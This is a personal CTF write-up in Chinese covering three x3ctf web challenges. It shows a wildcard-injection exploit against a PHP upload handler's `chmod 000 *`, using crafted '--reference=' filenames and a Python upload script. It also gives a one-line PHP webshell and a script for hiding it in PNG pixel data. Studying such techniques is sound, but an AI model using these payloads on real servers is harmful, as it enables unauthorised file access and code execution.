x3ctf_2024

submission 复现 | SV

  1. 考点居然是通配符注入

  2. 写一下之前错误的思路吧:源码审计

    1. 这里其实抓住重点就是一个权限问题,/uploads/和/是可以访问的
      1. 思路1(不可行): 将文件上传到非uploads/下,chmod时不会影响到,但是txt和basename难搞
      2. 思路2(不可行): 将文件move到/uploads/下的一小段时间内还没有chmod,可能可以竞争,不行,而且有txt无法执行
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    <?php

    if (isset($_FILES['file'])) {
    $uploadOk = 1;
    $target_dir = "/var/www/html/uploads/";
    $target_file = $target_dir . basename($_FILES["file"]["name"]);

    // 不能已经存在,phar不了,不可控
    if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
    }
    if ($_FILES["file"]["size"] > 50000) {
    echo "Sorry, your file is too large you need to buy Nitro.";
    $uploadOk = 0;
    }

    // txt后缀
    if (!str_ends_with($target_file, '.txt')) {
    echo "Due to exploit you can only upload files with .txt extensions sorry about this but we got hacked last time so we have to check this from now on.";
    $uploadOk = 0;
    }

    // Check if $uploadOk is set to 0 by an error
    if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
    // if everything is ok, try to upload file
    } else {
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    // html转义,防止xss
    echo "The file ". htmlspecialchars( basename( $_FILES["file"]["name"])). " has been uploaded.";
    } else {
    echo "Sorry, there was an error uploading your file.";
    }
    }

    // echo "<h1>".$target_file."</h1>";
    $old_path = getcwd();
    chdir($target_dir);
    // make unreadable
    shell_exec('chmod 000 *'); // 没有权限wc
    chdir($old_path);

    }
  3. 思路3(from wp)

    1. 也是从权限入手chmode 000 *,这里有通配符注入(好像在v1nd哥那里看过),似乎在5/4字符rce里也有过,通配符注入本质时通配符展开的问题

    2. 这里也不管命令了,本质上是对flag.txt的提权,涉及到了chmod的提权

      1. chmod --help,发现有一个--reference=RFILE,可以将RFILE的权限复制到FILE,也就这个可以提权的了
      2. 我们还未赋值前的话,上传的文件是可读的,那么将上传的文件赋值到flag.txt就可以了,注意ascii码要在f后
      3. >--reference=z.txt,然后>z.txt,访问即可,执行的命令相当于chmod 000 --reference=z.txt flag.txt z.txt
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      import requests

      host="http://localhost:5000"
      bp = {
      "http": "http://localhost:8080",
      }

      session = requests.Session()

      ### 上传文件
      path_upload = "/"
      file_upload = {
      "file": (
      ### try
      # "../\x00.txt", open("kc1zs4.txt", "rb"), "text/plain"

      ### payload: 要按照顺序
      # "--reference=z.txt", "", "text/plain"
      "z.txt", "", "text/plain"
      )
      }
      r = session.post(host+path_upload, files=file_upload, timeout=5)
      print(r.text)
    3. 深入了解bash中的通配符展开

      1. 在linux中如bash中shell会尝试将其与当前目录下的文件名进行匹配,并将通配符替换为符合模式的所有文件名列表

      2. 命令的本质: 一系列参数,可以想象一下java main函数的Strings[] args,这里的通配符展开就是将通配符替换为参数,然后传递给命令

      3. 原理: 将文件名作为参数,也就是命令了

        1
        2
        3
        4
        mkdir /tmp/test
        cd /tmp/test
        >-al
        ls * # 执行的是ls -al命令
      4. 顺序问题

        1. 对于有’和”引号也是ok的,可以本地先试一下
        2. 在Bash中,通配符展开(Wildcard Expansion)是按照文件名的字典顺序(lexicographical order,也称为字典序或字母顺序)
        3. 字典顺序基于字符的ASCII值来决定顺序
      5. 常见通配符

        通配符 作用 例子
        * 匹配零个或多个字符 ls *
        ? 匹配单个字符 ls ?
        [abc] 匹配方括号内的任意一个字符 ls [abc]
        [a-z] 匹配指定范围内的任意一个字符 ls [a-z]

blogdog 复现 | OPEN

  1. 一眼就应该是不会的样子emm
  2. 审计一下源码,这里不贴了,有点长
    1. 留意一下版本信息,可能要打漏洞
    2. 要打xssbot
    3. 用gpt描述一下过程
      1. 用户提交内容:用户提交了一条包含链接的消息,如 Check out this site: [https://example.com].
      2. 服务器端处理:服务器接收到消息,提取其中的 URL [https://example.com],并调用 xssbot 函数进行检查。
      3. 访问本地服务器:xssbot 函数首先访问本地服务器主页 [http://localhost:3000/],并在页面上的 #flag 输入框中输入预定义的 FLAG 值。
      4. 访问目标 URL:然后,xssbot 函数尝试导航到用户提交的目标 URL [https://example.com],并在超时时间内尝试加载该页面。
      5. 关闭浏览器:无论是否成功加载目标 URL,都会在 TIMEOUT 毫秒后尝试关闭浏览器,释放系统资源。
    4. 没搞懂,白给了,复现好

kittyconvert 复现 | OPEN

  1. 可控的输入有

    1. 上传的文件名,但是又preg_replaec和basename
    2. 文件的内容,感觉难以做手脚,数据清洗?
    3. 应该是要结合这两个方面来处理的
  2. 文件名绕过

    1. 直接上传.php
    2. 尝试写入木马
      1. 会写入_get_icon_data()的内容,emm看了一下,上传一个图片马应该就可以,在data区(数据部分)进行写入一句话木马

      2. 写入数据段<?$_GET[0]($_POST[1]);?>

        1. 从网上抄来的脚本,没有打成功,wp里说是又lsb似乎
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        <?php
        $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
        0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
        0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
        0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
        0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
        0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
        0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
        0x66, 0x44, 0x50, 0x33);



        $img = imagecreatetruecolor(32, 32);

        for ($y = 0; $y < sizeof($p); $y += 3) {
        $r = $p[$y];
        $g = $p[$y+1];
        $b = $p[$y+2];
        $color = imagecolorallocate($img, $r, $g, $b);
        imagesetpixel($img, round($y / 3), 0, $color);
        }

        imagepng($img,'kc1zs4.png');
        ?>
  3. 复现吧

    1. 思路是不难的,主要是这里需要对文件格式进行了解才可以进行构造,emm学习一下

总结

  1. submission
    • 通配符注入的思维: 展开,参数与文件名,顺序问题(这题顺序错了也不行,而且如果实战无法重置环境相当于白白浪费了)
    • 抓重点的思维和问题分类: 权限问题,提权
    1. 本来也是有想到从命令入手的,但是只是一念,还是不能快,思路>行动阿,再仔细看一下*知道有**输入(攻击的可能来源于输入)**可能就可以了
  2. blogdog
    1. 前端题目,几乎没咋见过,有点意思
  3. kittyconvert
    • 图片马:一些格式的学习
    • conda源问题
    • python 重名,还是要package

Ref

  1. [https://github.com/x3ctf/challenges-2025/blob/main/web/]